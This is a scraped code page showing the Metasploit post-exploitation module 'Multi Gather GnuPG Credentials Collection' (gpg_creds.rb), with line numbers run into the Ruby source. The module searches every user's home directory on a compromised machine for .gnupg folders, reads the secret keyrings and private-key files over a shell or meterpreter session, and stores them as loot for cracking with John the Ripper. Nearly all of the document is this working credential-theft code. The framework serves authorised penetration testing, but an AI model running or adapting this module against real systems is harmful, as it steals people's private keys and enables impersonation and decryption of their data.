Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/gpg_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Gather GnuPG Credentials Collection',14'Description' => %q{15This module will collect the contents of all users' .gnupg directories on the targeted16machine. Password protected secret keyrings can be cracked with John the Ripper (JtR).17},18'License' => MSF_LICENSE,19'Author' => [20'Dhiru Kholia <dhiru[at]openwall.com>', # Original author21'Henry Hoggard' # Add GPG 2.1 keys, stop writing empty files22],23'Platform' => %w[bsd linux osx unix],24'SessionTypes' => ['shell', 'meterpreter']25)26)27end2829# This module is largely based on ssh_creds and firefox_creds.rb.3031def run32paths = []33print_status('Finding GnuPG directories')34dirs = enum_user_directories35sub_dirs = ['private-keys-v1.d']3637dirs.each do |dir|38gnupg_dir = "#{dir}/.gnupg"39next unless directory?(gnupg_dir)4041paths << gnupg_dir4243sub_dirs.each do |sub_dir|44paths << "#{gnupg_dir}/#{sub_dir}" if directory?("#{gnupg_dir}/#{sub_dir}")45end46end4748if paths.nil? || paths.empty?49print_error('No users found with a GnuPG directory')50return51end5253download_loot(paths)54end5556def download_loot(paths)57print_status("Looting #{paths.count} directories")58paths.each do |path|59path.chomp!60sep = '/'61files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)6263files.each do |file|64target = "#{path}#{sep}#{file}"65if directory?(target)66next67end6869print_status("Downloading #{target} -> #{file}")70data = read_file(target)71file = file.split(sep).last72type = file.gsub(/\.gpg.*/, '').gsub(/gpg\./, '')73if data.to_s.empty?74vprint_error("No data found for #{file}")75else76loot_path = store_loot("gpg.#{type}", 'text/plain', session, data,77"gpg_#{file}", "GnuPG #{file} File")78print_good("File stored in: #{loot_path}")79end80end81end82end83end848586